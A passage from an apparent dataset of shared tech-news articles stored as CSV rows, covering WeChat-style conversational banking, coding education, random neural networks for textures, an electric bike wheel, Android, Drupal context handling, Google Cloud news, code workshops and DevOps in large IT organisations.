portal for the Internet. In addition to over 650 million active users, over 10 million businesses have 'official accounts' in WeChat. The result is that you can do almost anything within WeChat, from ordering a taxi to paying back friends, putting money into a savings account, booking an appointment with your doctor, ordering a pizza or chatting with a celebrity. In China, more of these official accounts are created every day than websites. If you want to be online your default option is building a 'bot' in WeChat. Western messaging services are looking to emulate this 'app within an app' world that WeChat has created. They are moving from being chat 'apps' to being chat 'platforms'. In 2015 Facebook Messenger and SnapChat both added an easy way to pay friends (baking in payments is step 1 for facilitating commerce). In December Messenger released a feature enabling users to order an Uber from within the app and rumor is it will announce its own bot platform in April. Others, like Telegram, Kik and Slack have been doing this for longer. The WeChat of the West is coming soon. ""We're just getting people used to the idea that you can message more than just people on Messenger"" Seth Rosenberg, Facebook product manager Moving to 'Conversational Banking' The digital equivalent of visiting a bank branch and talking to someone. There is a lot to like about the experience of banking in branch. You walk up to the teller, tell them what you need and they help you out. This is a familiar, conversational interface and the teller is only giving you information relevant to what you're asking. In contrast, bank's digital experiences, delivered as apps and websites, are rarely as user friendly. They have tended to take the Yahoo approach to design, cramming in as much content as possible in an attempt to have something that is useful or relevant to you on the screen. They also offer little or no personalization. Very simple example; try finding your IBAN number. Don't know what that is? That's exactly the point, we all need different things from our bank. If we were in a branch we could just ask 'What's my IBAN number?' Talking to tellers in bank branches is a much easier interface and 'Conversational Banking' digitizes this experience within a messaging user interface. You only get information you asked for and that is relevant to you at the time. Want to check the balance in your checking account? Message your bank and ask. Need to send $100 to your friend in Australia? Ask your bank, their 'Forex' bot will help you out. Better still, your bank will learn what you ask for regularly and make those options easier to find. What this might look like? Receiving and paying credit card statements. This should be as simple as your bank messaging you your statement and you tapping to view and pay it. They can give you a nudge to set up auto-payment and push reminders as the payment deadline approaches. If you see something you don't recognize you can easily flag it in the chat. Saving. We know we should do it, but it requires thought and effort and, as a result, it is easy to procrastinate. Like putting your name on the organ donor list. Platforms like Digit do a great job automating this, but we still need to visit their website or download their app and go through an often painful sign-up process. A 'savings bot' removes this friction and is also a great way to deliver in context prompts and updates (e.g. just before Friday night, it can push me my budget for the weekend?). Travelling. Going to Mexico for some beach time? Lucky you. You'll need to let your bank know so they don't freeze your cards when you're away. This is often a pain in existing bank apps but easily done via messaging. Better yet, your bank could tell that you're abroad and send you a message asking you which cards you're using. This is also a great opportunity to cross-sell extra's like insurance or FX. These are simple examples but it is not far fetched to imagine most bank services, from savings to investment, insurance and lending, being delivered via a simple conversation. For more examples of what this could look like check out Sudhir Nain's article's on ' Chat Banking ' and ' Chat UI for Wealth Management '. Banking within a chat service OR banking with a chat service? As chat services replace web-browsers and apps as our default portal for the Internet, a big question for banks is are we 'chatting' to bank 'bots' within messaging services or are we banking directly with Messenger, WeChat, Telegram or Kik? The latter is no joke. Messaging services are baking payments to friends and payments to merchants into their platforms. As they do, the line between them and banks will blur. If banks lose payments they face a real risk of disintermediation. Again, we can look at WeChat as an example. In addition to payments to friends and merchants, WeChat offers savings accounts and personal loans. Over 10 million people save with WeChat, with over US$16.2BN under management (an average of US$1,610 per user). Rival AliPay has $94BN under management. Neither has been in market with this product for over three years.",en
1462178638,CONTENT SHARED,-3622715112759104312,881856221521045800,4086902349893114212,,,,HTML,http://mashable.com/2016/05/02/4-ways-learn-coding/,5 ways to create an environment that helps adults learn to love coding,"If you want adults to learn to code, stop serving pizza. That's just one of the lessons Kathryn Parsons, cofounder and co-CEO of global coding education provider Decoded, has learnt while helping people make the leap into programming. Not everyone will learn to code as an obsessed teenager in their bedroom. Some will need to learn digital skills as part of a change mid-career, while others may be managers fed up with not knowing what their developers do all day, and coding education needs to work for them too. Speaking with at the CeBIT technology conference in Sydney Monday, Parsons shared some of the tactics her company, which famously claims Mashable Australia to teach coding in one day , uses to help people overcome their fears and get started with digital skills. 1. Put a human face on it The media have made Sergey Brin and the rest of the current Silicon Valley founder crop into demi-gods, so it's no wonder coding seems imposing to outsiders. To help people begin the learning process, it's important to pull back the curtains and make it clear the Internet was created by humans, Parsons said. If you want to put coding on a human level, she suggested starting by answering these questions for students: ""Who are the human beings who created this stuff? What does code actually look like? ""How can I use [code], contribute, collaborate, and become part of the community of the web?"" 2. Build a community At Decoded, learning to code is always a team activity. "" It's not a lonely place, she said. "" The smallest groups we do it with are 10 people. The largest group we've ever taught in one experience was 5,000 people. Talk about communal coding."" If people feel there is a world of coders and coding they can join, it might feel more welcoming. ""There is this global community of coders, this open source community, collaborating and creating together,"" she said. ""That's a really profound thing for a lot of people, because they just don't work in environments like that."" 3. Make learning creative While online learning has promise, it still suffers from incredibly high churn rates, Parsons said, with many dropping out halfway through the teaching process. Students might find it easier to stick with coding if they think of it as a creative skill set. They should ask themselves, "" How can I use the languages of the web to create the ideas that I've had in my head?"" Parson said. "" Creating and crafting those ideas without the tools? You can't do it."" That idea has informed the company's approach to teaching, added Chris Monk, Decoded's head in the Asia-Pacific. ""We don't start with 'this is a variable and this is how it works.' We say, 'we're going to build an app.' We start with that creativity and then go on a journey, and I think that's the key to learning."" ""It's a mindset, Parsons said. ""Convincing people that it's relevant, that it's something creative, that it's something anyone can do."" 4. Don't teach, guide Parsons said she aims to have Decoded's class facilitators act as guides rather than strict teachers. The idea of guidance plays out in how they interact with students. ""They never lean over anyone to correct their code,"" she explained. ""That's incredibly disempowering."" Rather, students are encouraged to focus on problem solving. ""It's kneeling down next to somebody, and not saying 'you're missing a semicolon on line 27' and just sticking it in,"" Monk added. ""It's saying 'let's look again at that bit of code that's between line 24 to 30, and see if you can spot what's in there.'"" 5. Think about the space. And the snacks Decoded considers the physical environment important in the learning experience. ""Generally, the space will be incredibly large,"" Parson said. ""A real feeling of space and light. Why do we teach people in little dingy rooms?"" All the food is brainfood, she added. ""Coder food. Not pizza."" It could be lentils or a vegan lunch, but the aim is to keep your mind ticking over. Best of all? ""No quiche,"" Monk said. Have something to add to this story? Share it in the comments.",en
1462182197,CONTENT SHARED,-7380550029266431533,-1443636648652872475,473054719431662675,,,,HTML,https://nucl.ai/blog/extreme-style-machines/,Extreme Style Machines:Using Random Neural Networks to Generate Textures,"Wait, what! Generating high-quality images based on completely random neural networks? That's the unreasonable effectiveness of deep representations... (This research project was possible thanks to the nucl.ai Conference [1].) Synthesizing high-quality images with deep learning currently relies on neural networks trained extensively for classification on millions of images. It takes days! Most neural networks used for classification are very big too, which makes the generative algorithms very slow. It's a huge problem for adoption since it takes a lot of resources to train these models, so scaling quality up and down is difficult. While trying to train a more efficient neural network for Neural Doodle using current best practices, I stumbled on a discovery... I could use completely random neural networks as feature detectors and still get compelling results! Think of this as a form of Neural Patches , which is basically brute force nearest neighbor matching of 3×3 patterns - but using the neural network's post-activation outputs ( conv3_1 and conv4_1 ) rather than doing operations in image space. Code is available in the GitHub repository for Neural Doodle! WARNING: This research was done in less than 24h. I'm writing this blog post already because I Tweeted about early results and everyone is excited - so I can't keep this contained ;-) If you'd like to collaborate on further research and writing a full paper, let me know! Experiment Setup The main focus of this report is on texture generation from random noise, because it's the easiest problem in image synthesis. It only involves one loss component so it's nice and simple too! 48 units, 3x3 shape # conv1_1 48 units, 3x3 shape # conv1_2 80 units, 2x2 shape, stride 2x2 # conv2_1 80 units, 3x3 shape # conv2_2 112 units, 2x2 shape, stride 2x2 # conv3_1 112 units, 3x3 shape # conv3_2 112 units, 3x3 shape # conv3_3 176 units, 2x2 shape, stride 2x2 # conv4_1 176 units, 3x3 shape # conv4_2 176 units, 3x3 shape # conv4_3 For all the other parameters, they are as follows: there were a total of four scales processed using --phases=4 , each with ten optimization steps as --iterations=10 . Style weight was set to hundred, higher than usual with --style-weight=100.0 and the patch variety was set to a small amount for visual fidelity --variety=0.1 . Total variation smoothing was set to very small value --smoothness=0.1 . python3 doodle.py --style GrassPhoto.jpg --output GrassTest.png \ --iterations=10 --phases=4 \ --style-weight=100.0 --variety=0.1 --smoothness=0.1 Activation Function This section compares different activation functions: Rectified Linear (the standard approach that VGG uses), Leaky Rectifier (used in recent adversarial architectures, but a very leaky version), and the most recent Exponential Linear Units . I was experimenting with ELU due to the beautiful function shape that looks suited to image synthesis, and the fact it could reduce the need for batch normalization in deeper networks. Rectified Linear Very Leaky Rectifier Exponential Linear Speculative Explanation It seems ReLU units discard too much information by setting the output to zero if the input is negative. LReLU - specifically the very leaky variant - do much better because of this. However, ELU seems to do better because the distribution of the output is better by the time it reaches layers conv3_1 and conv4_1 , as mentioned in the original paper. This generative experiment is a good way to visualize just how good ELU is at doing its job! It's possible batch normalization would work similarly, however in the generative setting there are no batches and it seems significantly easier to use the right activation function in the first place... Down-Sampling Strategy This section now compares the different ways of down-sampling the activations at regular layers in the deep network. The different options are average pooling (often used in generative architectures), max pooling (often used in classification), and strided convolutions (recent favorite to avoid pools). Average Pooling Maximum Pooling Strided Convolution Unit Numbers As you can see from these trial runs, the number of neurons affects quality incrementally. With fewer neurons, the results are less predictable and certain patterns are not correctly ""understood"" by the algorithm and become patchy or noisy. Full Units Quarter Units Half Units Network Depth The following experiments were run with half of the units to see if depth improves the quality or degrades it. Overall, from this informal analysis, it seems like additional layers degrades the quality. Double Layers (Half Units) Triple Layers (Half Units) Technical Summary The idea of deep random feature detectors is appealing: it avoids a lot of intensive training and helps adapt existing models to new constraints quickly, as well as scale up and down in quality on demand. Taken further, it could certainly help apply example-based neural style transfer techniques to domains where classifier models are not as strong as in the image domain. Short term, here are two specific things to take away from this experiment: Strided Convolution has become more popular for a variety of reasons, it helps significantly here. Exponential Linear Units are well placed to become the default activation for generative models. Random neural networks don't seem work very well for more advanced image synthesis operations like style transfer or even high quality Neural Doodles ; more research is required. However, for operations like example-based super-resolution of images this could also work very effectively. Addendum This particular project has been fascinating! It's been less than 24h since I randomly stumbled on a surprising result, and after Tweeting about it (with follow up ), I was almost arm-wrestled into doing more experiments and posting the results. It's not yet clear if and how more complex style transfer operations could work reliably for images or other media, but it's a fascinating line of research nonetheless. The process has also been interesting for me: while I specifically set out to investigate Exponential Linear Units and using best practices like strided convolution, I never expected this to come out of the process. It feels appropriate to finish with a quote from Louis Pasteur: ""In the field of observation, chance favours only the prepared mind."" - Louis Pasteur",en
1462184967,CONTENT SHARED,7488370990373644128,881856221521045800,4086902349893114212,,,,HTML,http://www.theverge.com/2016/5/2/11553850/geoorbital-wheel-electric-bike-ebike,This motorized wheel adds electric power to your bike,"Many different kinds of personal transportation are undergoing an electric revolution , but electric bikes might make up the biggest section of the market. In fact, it's boomed fast enough that we're already seeing weird, alternative ideas pop up. A perfect example is GeoOrbital, one of a few companies that is literally reinventing the bike wheel. GeoOrbital has been publicly working on its product for a while . Over the last year or two, CEO Mike Burtov has been drumming up press interest in the GeoOrbital wheel while his company worked on refining the product. But now the development is finally finished, and GeoOrbital has launched a Kickstarter campaign as a means of taking preorders, raising a bit more capital, and continuing to spread the word. GeoOrbital has a simple, modular premise. Instead of building a battery and motors into a bike , or installing an aftermarket solution , the GeoOrbital wheel can be added to almost any bike in a matter of seconds; you just snap off your front wheel and replace it with GeoOrbital's electric wheel. Instead of spokes, the wheel contains a sort of triangular housing with three smaller wheels that rest against the inside of the rim. Like a set of gears, those smaller wheels grab the rim and turn the bike wheel, propelling you forward by using the 500W motor and 36V battery found inside the housing. (Only one is actually powered, though - the other two are for stability.) Previous Next View full Gallery Previous Next The wheel is solid foam, too, which Burtov says gets rid of the problem of flat tires, and all together the package weighs 20 pounds. The only other piece is the throttle, which comes in the form of a small lever that you attach to the handlebars with a power button and a little string of lights that indicates the remaining battery. Burtov says all the parts that make up the GeoOrbital wheel are the same that other companies use to make e-bikes, his company just found a way to repurpose them into a package that can be retrofitted to almost any bike. The battery will last at least 20 miles - 50 if you pedal The GeoOrbital wheel has a top speed of 20 miles per hour, and the battery - which is removable, and therefore easy to charge - will last at least 20 miles on its own, or about 50 miles if you mix in some pedaling. Burtov brought a nearly production-ready version of the GeoOrbital wheel to our office in midtown Manhattan, and I took it for a spin around the block. And as far as the setup goes, it really is as simple as Burtov describes it - you can slide it into your bike frame, tighten up the quick release, and you're on your way. The wheel I tested performed well, too. I mostly stuck to just using the throttle - using the throttle while pedaling takes some getting used to - but it made quick, fun work of the bike lanes around our office. (Having a little extra boost available to help dodge taxis and trucks almost feels worth the price alone.) There were some vibrations during the ride that made me a little uneasy, though. The GeoOrbital wheel was solidly locked in place, so this seemed to stem from the alignment of the guide wheels on the rim - something that will hopefully be fine-tuned when the company starts its production run. Otherwise, it mostly felt like a normal bike ride. GeoOrbital has some competition in this strange little corner of the e-bike world. Evelo is already on the market with the Omni wheel, which retails for over $1,000. Another company called Superpedestrian licensed a similar idea from a group at MIT, and is currently taking preorders. The GeoOrbital wheel will eventually retail for about $900 - which is cheap by electric bike standards - and the company is offering it for as low as $500 to early backers on Kickstarter. (Those prices would match or undercut GeoOrbital's competition.) Burtov says the company plans to ship the wheels in six months time or less.",en
1462194758,CONTENT SHARED,-2430153190648595765,3609194402293569455,-6128828653473669723,,,,HTML,http://techcrunch.com/2016/05/01/how-android-gets-to-100-market-share/,How Android gets to 100% market share,"Android already commands over 80 percent of the mobile OS market share globally, and just under 60 percent in the US. But you wouldn't know it here in Silicon Valley - almost everyone I know has an iPhone. As the consumer technology landscape evolves over the next five years however, there are a number of reasons to believe that Android, and the Google stack more broadly, could take an even greater share and become the platform of choice, even here. Loosening of the Apple ecosystem lock-in Anecdotally, one of the most frequently cited reasons among iPhone users for staying with iOS is that they love the ""blue bubbles."" iMessage, and its clever and seamless integration with iOS's native SMS application, is an incredibly sticky feature of iOS. Over-the-top (OTT) messenger applications have many advantages over SMS. The assurance of knowing that one's message has been delivered and the synchronous knowledge that the other user is typing add a deeper level of intimacy and immediacy to the conversation. The ability to easily share media, the lack of a character limit, the seamless continuation of a conversation while switching between desktop and mobile, and the lack of per-message international charges all add to OTT messaging's appeal. But most importantly, OTT messenger platforms are valuable to users to the extent that one's peers are also on the network. Since iMessage is built into the native SMS application on iOS, users also don't ever have to switch to a third party application, and are automatically drawn into the network. No change in behavior is required. So OTT messaging in general and iMessage in particular exhibit powerful network effects. Hence the draw of the ""blue bubbles."" Does this story sound familiar? A mobile hardware manufacturer with a proprietary OS and a captive OTT messenger application? Research in Motion, now known as Blackberry, had exactly this positioning with its popular Blackberry smartphones. One of the big draws of Blackberry, outside of the corporate environment, was Blackberry Messenger (BBM). But ultimately BBM wasn't a strong enough draw to keep people on an inferior OS and third party developers created cross-platform messengers such as WhatsApp. Today, Blackberry OS has only a 0.2 percent market share . WhatsApp just crossed 1 billion users . It is not inconceivable that OTT messaging applications like WhatsApp could replace SMS entirely. Alternatively, the migration of SMS to the Rich Communication Services (RCS ) standard could bring all of the advantages of messenger applications to texting. In either case, the network effect of iMessage would be significantly diminished, greatly lowering the barrier for those wanting to leave the Apple ecosystem. iMessage is not invincible. While iMessage may be the most important example of Apple ecosystem lock-in, there are many other products where Apple lock-in could similarly be weakened. For example, the emergence of Google Photos as an application across Android and iOS significantly reduces the lock-in of Photos, the emergence of Spotify reduces the lock-in of iTunes, and the emergence of Drive and Dropbox reduces the lock-in of iCloud. Gradual reduction of Android fragmentation One of the biggest problems with the Android ecosystem is fragmentation: every hardware OEM can operate different versions of Android and can significantly slow down the release of software updates. Fragmentation is frustrating both for developers and for users. At the time of writing, I still cannot get Android Marshmallow on my Droid Turbo, despite Google's release of the OS in October . In fact, as of April 2016, only 4.6 percent of Android phones globally had the latest Android Marshmallow OS installed. In contrast, Apple can push out a new OS to all of its devices as soon as it is ready; the only gating factor is how quickly users choose to install the update. App developers often choose to release on iOS first specifically because releasing on Android requires tweaking the code separately for all of the different versions in the market. But fragmentation is not solely the result of different versions of Android operating simultaneously. Many hardware OEMs, and even carriers, install their own software applications and layers on top of Android to customize the OS. When a customer uses the iPhone for the first time, he/she gets the identical interface to everyone else with a new iPhone. The same cannot be said for an Android phone, where the default calendar, SMS, email, keyboard etc. could just as likely come from Samsung or Verizon, despite the fact that Google itself offers all of these products. Without the integration of the Google suite of products, the relative attractiveness of Android over iOS is diminished. However, there is a possibility that in the coming years this fragmentation will be significantly reduced. Some OEMs, such as Motorola and HTC, are continually reducing the level of software customization on their latest models, bringing them closer and closer to stock Android. Another driving force for the reduction in fragmentation could be the Nexus suite of phones and tablets. While these phones are still manufactured by third-party OEMs, such as Motorola, LG, and Huawei, they are done so in close cooperation with Google and come with stock Android featuring only Google software. Nexus phones get Android software updates immediately, because they are controlled by Google. To the extent Google is successful in proliferating these Nexus phones, it can mitigate the problems of fragmentation. Nexus could also represent an opportunity for Google to build a brand cache around its devices, making them more competitive with Apple at the high end of the market. Decoupling of phones and plans As of 2016, most US carriers have finally eliminated two-year service contract plans ; going forward, Americans will pay for their smart phone and their plans separately. One of the unique features of the US mobile market in the past was a relative price-insensitivity of consumers to devices since they typically didn't pay for their devices or paid a highly subsidized price. In fact, on many cell phone plans, if a member chose to upgrade to a lower cost device instead of a higher one, he/she would not receive any of the economic benefit. This paradigm certainly encouraged individuals to purchase highly priced phones. But in a world where individuals buy their own phones at full retail price, they are likely to be much more price-sensitive. The current base price of an iPhone 6s, before any upgrades, tax, or Apple Care is $649. In contrast, the average Android phone can be purchased all-in for well below $250. The emergence of Google as a desktop OS Many may not even be aware that Google actually offers their own desktop OS, known as Chrome OS, which competes with Microsoft's Windows and Apple's OS X. Chrome OS today has less than 3% market share of desktops globally, which is not a critical mass to attract the attention of app developers. But there are a number of emerging trends which could mean that Google, rather than Microsoft or Apple, could be the desktop OS of the future. Firstly, the relevance of software applications themselves is becoming less important as more applications move to the cloud. Even the dominant MS Office suite can now be accessed from the web browser with Office 365. With native software development becoming less important, and the browser becoming more important, the lack of scale in Chrome OS will not matter as much, since native applications are not necessary. Also, because Chromebooks are designed to leave most of the software and storage in the cloud, they have less expensive hardware components and sell for a fraction of the cost of Macbooks and most Windows computers as well. Perhaps the larger catalyst is Google's alleged plans to fold Chrome OS into Android within the next year. Doing so would instantly bring the world's largest app ecosystem to Google's desktop OS and would provide an even stronger value proposition for users to opt into an Android mobile phone. Of course, owning the desktop OS is not as strategically important today as it once was, and will likely become even less so going forward. But owning a customer relationship across all devices and all technology use cases is more important today than ever. In a sense, Google as a desktop OS is the missing link in the picture: with a competitive desktop OS, Google could offer customers a consistent experience across all of their devices, further supporting the Android ecosystem and threatening Windows, OS X, and iOS. Apple is the world's most valuable brand and has consistently been at the forefront of device innovation over the last two decades. But as consumer technology evolves, software and Internet integration is gaining ever increasing importance over hardware. As the presence of the Internet continues to permeate more of our lives and the technology itself starts to ""disappear,"" the battle for the consumer may tilt in favor of the world's largest Internet company over the world's best designer of hardware. Featured Image: Bryce Durbin",en
1462199444,CONTENT SHARED,2670715450352290324,3891637997717104548,7246860958937171199,,,,HTML,http://buytaert.net/handling-context-in-outside-in,"Handling context in ""outside-in""","In a recent post we talked about how introducing outside-in experiences could improve the Drupal site-building experience by letting you immediately edit simple configuration without leaving the page. In a follow-up blog post, we provided concrete examples of how we can apply outside-in to Drupal. The feedback was overwhelmingly positive. However, there were also some really important questions raised. The most common concern was the idea that the mockups ignored ""context"". When we showed how to place a block ""outside-in"" , we placed it on a single page. However, in Drupal a block can also be made visible for specific pages, types, roles, languages, or any number of other contexts. The flexibility this provides is one place where Drupal shines. Why context matters For the sake of simplicity and focus we intentionally did not address how to handle context in outside-in in the last post. However, incorporating context into ""outside-in"" thinking is fundamentally important for at least two reasons: Managing context is essential to site building. Site builders commonly want to place a block or menu item that will be visible on not just one but several pages or to not all but some users. A key principle of outside-in is previewing as you edit. The challenge is that you want to preview what site visitors will see, not what you see as a site builder or site administrator. Managing context is a big usability problem on its own. Even without outside-in patterns, making context simple and usable is an unsolved problem. Modules like Context and Panels have added lots of useful functionality, but all of it happens away from the rendered page. The ingredients: user groups and page groups To begin to incorporate context into outside-in, Kevin Oleary , with input from yoroy , Bojhan , Angie Byron , Gábor Hojtsy and others, has iterated on the block placement examples that we presented in the last post, to incorporate some ideas for how we can make context outside-in. We're excited to share our ideas and we'd love your feedback so we can keep iterating. To solve the problem, we recommend introducing 3 new concepts: Page groups: re-usable collections of URLs, wildcards, content types, etc. User groups: reusable collections of roles, user languages, or other user attributes. Impersonation: the ability to view the page as a user group. Page groups Most sites have some concept of a ""section"" or ""type"" of page that may or may not equate to a content type. A commerce store for example may have a ""kids"" section with several product types that share navigation or other blocks. Page groups adapts to this by creating reusable ""bundles"" of content consisting either of a certain type (e.g. all research reports), or of manually curated lists of pages (e.g. a group that includes /home, /contact us, and /about us), or a combination of the two (similar to Context module but context never provided an in-place UI). User groups User groups would combine multiple user contexts like role, language, location, etc. Example user groups could be ""Authenticated users logged in from the United States"", or ""Anonymous users that signed up to our newsletter"". The goal is to combine the massive number of potential contexts into understandable ""bundles"" that can be used for context and impersonation. Impersonation As mentioned earlier, a challenge is that you want to preview what site visitors will see, not what you see as a site builder or site administrator. Impersonation allows site builders to switch between different user groups. Switching between different user groups allow a page to be previewed as that type of user. Using page groups, user groups and impersonation Let's take a look at how we use these 3 ingredients in an example. For the purpose of this blog post, we want to focus on two use cases: I'm a site builder working on a life sciences journal with a paywall and I want to place a block called ""Download report"" next to all entities of type ""Research summary"" (content type), but only to users with the role ""Subscriber"" (user role). I want to place a block called ""Access reports"" on the main page, the ""About us"" page, and the ""Contact us"" page (URL based), and all research summary pages, but only to users who are anonymous users. Things can get more complex but these two use cases are a good starting point and realistic examples of what people do with Drupal. Step #1: place a block for anonymous users Let's assume the user is a content editor, and the user groups ""Anonymous"" and ""Subscriber"" as well as the page groups ""Subscriber pages"" and ""Public pages"" have already been created for her by a site builder. Her first task is to place the ""Access reports"" block and make it visible only for anonymous users. First the editor changes the impersonation to ""Anonymous"" then she places the block. She is informed about the impact of the change. Step #2: place a block for subscribers Our editor's next task is to place the ""Download reports"" block and make it visible only for subscribers. To do that she is going to want to view the page as a subscriber. Here it's important that this interactions happens smoothly, and with animation, so that changes that occur on the page are not missed. The editor changes the impersonation to ""Subscribers"". When she does the ""Access reports"" block is hidden as it is not visible for subscribers. When she places the ""Download report"" block and chooses the ""Subscriber pages"" page group, she is notified about the impact of the change. Step #3: see if you did it right Once our editor has finished step one and two she will want to go back and make sure that step two did not undo or complicate what was done in step one, for example by making the ""Download report"" block visible for Anonymous users or vice versa. This is where impersonation comes in. The anonymous users need to see the ""Access reports"" block and subscribers need to see the ""Download report"" block. Impersonation lets you see what that looks like for each user group. Summary The idea of combining a number of contexts into a single object is not new, both context and panels do this. What is new here is that when you bring this to the front-end with impersonation, you can make a change that has broad impact while seeing it exactly as your user will.",en
1462199475,CONTENT SHARED,-4524355549457527387,3891637997717104548,7246860958937171199,,,,HTML,https://cloudplatform.googleblog.com/2016/04/while-doves-were-crying-this-week-on-Google-Cloud-Platform.html,While doves were crying: this week on Google Cloud Platform,"It was a sad week for music lovers with the news of Prince's passing, but we take comfort in the fact that things are rocking and rolling on GCP. The cloud blogosphere was dominated by things that set GCP apart. Take Google App Engine . First released in 2007, it's taken a while for the world to fully grok its value - even internally. In "" Why Google App Engine rocks: A Google engineer's take "" Google Cloud director of technical support Luke Stone gives a full recounting of his team's experience with App Engine and other managed services like Google BigQuery . He describes how his team was blown away by their productivity gains, and urges all developers to try out the platform-as-a-service route. Digital gaming store Humble Bundle corroborates this sentiment. In the weekly GCP Podcast , Humble Bundle engineering manager Andy Oxfeld describes how the video game retailer relies on App Engine to scale its website up and down to meet fluctuating demand for its limited-time games. He also describes how the team uses Task Queues, dedicated memcache for faster load times, Google Cloud Storage and BigQuery, to name a few. Check it out . Storage was another hot topic this week. One of the week's most talked about posts comes from database luminary Mosha Pasumansky and technical lead for Dremel/BigQuery, in which he discusses Capacitor , BigQuery's columnar storage format. Long story short, Capacitor advances the state of the art of columnar data encoding, and when combined with Google Cloud Platform's Colossus distributed file system, provides super-fast and secure queries with little to no effort on the part of BigQuery users. Woohoo! But sometimes you need to do something a little less flashy - like resize a persistent disk. If you've been wondering how to do that on Google Compute Engine , wonder no more - GCP developer advocate Mete Atamel has put together a one-minute video tutorial on YouTube that walks you through the basic steps. Best of all, you don't even need to reboot the associated VM! Finally, Google was at OpenStack Summit in Austin this week, where Google partner CoreOS demonstrated 'Stackanetes' - running OpenStack as a managed Kubernetes service. You can also hear Google product manager Craig McLuckie discuss the benefits to this approach on The Cube with Wikibon analysts Stu Miniman and Brian Gracely. McLuckie also shares his thoughts on working with the open source community, and Google's evolution from an Internet to a Cloud company.",en
1462202338,CONTENT SHARED,-4754223659064624252,5127372011815639401,1894192985308020631,,,,HTML,https://www.box.com/blog/effective-learning-through-code-workshops/,Effective learning through code workshops | Box Blog,"At Box, we're very interested in the quality of our code, which is why we're constantly evaluating our processes to figure out how we can do better. We even have a team of Code Reliability Engineers (CREs) that help others write better code and provide training both internally and externally . Recently, we've turned a critical eye towards code reviews and have been implementing a new process called code workshops. The trouble with code reviews Code reviews are a tough topic to approach as many have had bad experiences in the past. The first code review I ever personally participated in was, in fact, horrible. It was organized by the senior members of a team I was on and the process was strange. We all sat in a room, spending the first 20 minutes staring at printouts of someone's code and scribbling notes on them. After that, we went around the room and everyone shared what they thought of the code while the author of the code listened intently. Then, the author was allowed to defend the code. I hated that experience. In my mind, we have just wasted time sitting together and making someone incredibly uncomfortable for no good reason. We didn't actually learn anything and it was time spent away from being productive. I felt like there was some value to doing code reviews, but this process felt wrong in every way: There was an overall accusatory tone that encouraged people to find things that were wrong and trivialize things that were right. People seeing code for the first time in the review meeting was a complete waste of time. Why weren't we prepared? The negative comments put the code author on the defensive, which led to less-than-productive conversations. Over the course of my career, I've heard a lot of feedback around these points whenever engineers say they hate code reviews. The kicker is that engineers actually love talking about code. We talk about it on Twitter. We talk about it over email and IM. We talk about it over lunch. We think some people write code better than others. We like semicolons. We hate semicolons. We love talking about this stuff, so why is it that we hate code reviews so much? The problem is typically the code review process. Too many times they are set up as adversarial (as in my first experience), which leads to defensiveness and bad feelings. When processes are too loose, people don't feel like there's much value in participating. When processes are too strict, people feel judged. Unfortunately, the best way to learn about code is to discuss it with other people, so how can you create a system that people actually enjoy and learn from? Building a better code review Over the years, I've worked with a process that I've come to call code workshops (since code reviews have a negative connotation, a different phrase eliminates some bias). Code workshops are a group session that are intended to socialize team expectations and best practices, as well as uncover issues and points that need to be addressed by the team as a whole. Code workshops take place on a weekly basis for one hour and with a maximum of 20 people in the room. The session is split in half, with two reviewers each reviewing a file (or set of files, if small enough) for 30 minutes. The key pieces to the meeting are: A reviewer is assigned (or selects) a piece of code to review ahead of time. The reviewer must choose a file that he or she didn't write. It's the reviewer's job to present the work of someone else. The reviewer reviews the entire file, not just diffs. Diffs are okay for bug fixes but to get a deep understanding of the code, you need the extra context. The goal of the reviewer is to learn as much about the code as possible. The reviewer reviews the code before the workshop. I typically recommend people set aside an hour for this. During that time, the reviewer adds comments directly into the file marked with REVIEW . The meeting begins with everyone closing their laptops except for the reviewer and one other person to take notes. The point is to have everyone pay attention to what's being discussed so we don't waste anyone's time. In the meeting, each reviewer goes over the file with their comments, focusing on the interesting pieces of code. The code is projected so that everyone can follow along. The reviewer cannot mention people's names during the review. The point is to review code, not people. Everyone is considered an owner of the code so there is no need to get defensive. If there are problems in the code, then the group needs to get better as a whole. It's the reviewer's job to encourage discussion through findings in the code. Look for interesting or problematic patterns, opportunities to establish new conventions, or pieces of the code that need more explanation. After the meeting, notes are sent out to all of the participants and relevant documentation is updated (if, for example, new conventions emerge). Code workshops improve code quality I've seen the benefits of this approach firsthand. The most obvious benefit is having a group align their expectations together. Code quality ramps up very quickly when everyone understands what is expected of them and can hold each other responsible for decisions that were made by the group. This is much more effective than sending out a document or wiki page that no one stops to read. Another benefit of this approach is that certain types of bugs become immediately apparent, whereas the same issues can easily be missed by simply reviewing diffs. Looking at the file as a whole means getting a better understanding of what the code is doing (or should be doing). Strange patterns are more easily perceived this way. Perhaps the most important benefit is giving people a forum in which to communicate effectively and safely with one another. It's my firm belief that most code quality problems can be traced back, in one way or another, to poor communication. When communication improves, and expectations are explicit instead of implicit, that's when real change happens. We've been doing code workshops at Box for almost two months and have seen some excellent improvement in how code is being written. Along with the identification of problems that had been missed for a long time, we also have started to formalize conventions that were previously implied, increased understanding of older parts of the code base, and cleaned up a lot of bugs. As a result, we've also added tools to help identify common issues we were seeing (such as adding JSHint for JavaScript). Getting a consensus understanding of what is good and what is bad has made new code less error-prone and more maintainable in the long-run. What's even more important is that engineers don't hate the process. It's an opportunity to do what we love to do, and that's talk about code with each other. Now that we have a way to express ourselves that is non-confrontational and structured with positive outcomes in mind, we're free to continue evolving our discipline and making improvements week over week.",en
1462206350,CONTENT SHARED,-1654063646246197191,-1032019229384696495,6822104352410363272,,,,HTML,https://medium.com/@josef_89142/big-it-rising-b98826b68364,Big IT Rising,"Big IT rising An overview of Lean, Agile and DevOps New Ways of Working The lunch of big corporate IT is being stolen by smaller, nimbler companies. Big IT, with its greater resources, should have crushed the competition. Rather it is playing catch-up. But things are changing. There is a quiet revolution in corporate IT. Big organisations are learning from small companies and are beginning to use it at scale. Goliath is back but acting like David. All this change leaves the corporate manager at a loss as to what tools to use. Big IT, especially banks, is stuck in a world of waterfall development where plans are rather rigid, risk management is paramount and new functionality to the customer is few and far between. The aim of this article is to provide a toolbox of different methodologies that can be used to transform Big IT. For the sake of simplicity, let's refer to our toolbox of methodologies as the ""New Ways of Working"". Our starting point is an exploration of the different elements of the New Ways of Working (Figure 1). This was adapted from Gartner's framework for DevOps. Social Psychology Probably the biggest shift away from the traditional command and control culture in Big IT is the new focus on Social Psychology. If we can figure out what drives people and keeps them motivated and then lets them work in small self-organising teams, we have a recipe for success. Social Psychology forms the foundation of the success of almost all the other tools. It seems that people do their best work when they work in a small team of not more than 10-12 people. Jess Bezos famously said that a team should not need more than two pizzas to be fed. Unfortunately really big pieces of work cannot be done by one small 